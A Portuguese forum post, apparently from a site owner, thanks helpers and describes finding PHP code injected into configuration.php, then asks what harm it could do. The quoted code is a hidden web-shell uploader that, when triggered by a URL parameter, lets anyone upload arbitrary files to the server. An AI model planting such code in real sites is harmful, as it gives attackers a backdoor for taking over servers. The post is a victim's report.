Caramba Pessoal! RESOLVI após a dica do Edvan. Cara muito obrigado! Tambem gostaria de agradecer a todos que responderam o topico tentando me ajudar.
OBS: No arquivo configuration.php logo abaixo depois das informações de banco de dados etc, continha o seguinte código:
<?php $id = $_GET['cmd']; if ($id ==up') { echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">'; echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>'; if( $_POST['_upl] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload SUKSES !!!</b><br><br>'; } else { echo '<b>Upload GAGAL !!!</b><br><br>'; } } } ?>
Apaguei tudo isso ai e subi novamente para o diretório e funcionou.
OBS, eu fiz a atualização de segurança, mais acho que este código foi parar lá antes desta atualização, e eu só fui perceber por causa da fatura de clientes que vence perto do dia 20.
Fica uma pergunta, o que este código pode causar de dano ao sistema, tirando esta falha das faturas, corro algum risco de segurança?
Mais uma vez, obrigado pessoal.